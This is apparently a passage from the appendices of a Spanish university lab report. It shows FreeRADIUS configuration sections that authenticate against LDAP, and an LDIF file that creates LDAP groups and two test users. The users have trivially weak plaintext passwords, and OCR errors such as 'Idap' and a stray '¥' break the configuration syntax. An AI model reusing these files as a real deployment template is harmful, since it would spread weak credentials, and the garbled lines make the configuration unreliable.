dictionary_mapping = ${confdir}/ldap.attrmap
edir_account_policy_check = no
keepalive {

idle = 60
probes = 3
interval = 3

9.5 Anexo 5 -UOC

authorize {
preprocess
auth_log
chap
mschap
digest
suffix

eap {
ok = return
}

files

Idap
expiration
logintime
pap
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authenticate {
Auth-Type LDAP {

Idap
¥
eap
}
preacct {
preprocess
acct_unique
suffix
files
}
accounting {
detail
unix
radutmp
attr_filter.accounting_response
}
session {
radutmp
}
post-auth {
exec
Post-Auth-Type REJECT {
attr_filter.access_reject
}
}
pre-proxy {
}
post-proxy {
}

9.6 Anexo 6 - poblar.ldif

#poblar.ldif

dn: ou=Usuarios,dc=uoc,dc=lab
ou: Usuarios

objectclass: top
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objectClass: organizationalUnit

dn: ou=Grupos,dc=uoc,dc=lab
ou: Grupos

objectclass: top

objectClass: organizationalUnit

dn: ou=Equipos,dc=uoc,dc=lab
ou: Equipos

objectclass: top

objectClass: organizationalUnit

dn: cn=empleados,ou=Grupos,dc=uoc,dc=lab
objectClass: posixGroup

objectClass: top

cn: empleados

gidNumber: 2000

dn: cn=directivos,ou=Grupos,dc=uoc,dc=lab
objectClass: posixGroup

objectClass: top

cn: directivos

gidNumber: 3000

dn: uid=alejandro,ou=empleados,dc=uoc,dc=lab
uid: alejandro

sn: Glez

cn: alejandro

objectClass: top

objectClass: person

objectClass: pilotPerson
objectClass: RADIUSprofile
userPassword: 123456
dialupAccess: alejandro
RADIUSGroupName: empleados

dn: uid=alfonso,ou=empleados,dc=uoc,dc=lab
uid: alfonso

sn: Glez

cn: alfonso

objectClass: top

objectClass: person

objectClass: pilotPerson
objectClass: RADIUSprofile
userPassword: 654321
dialupAccess: alfonso
RADIUSGroupName: directivos
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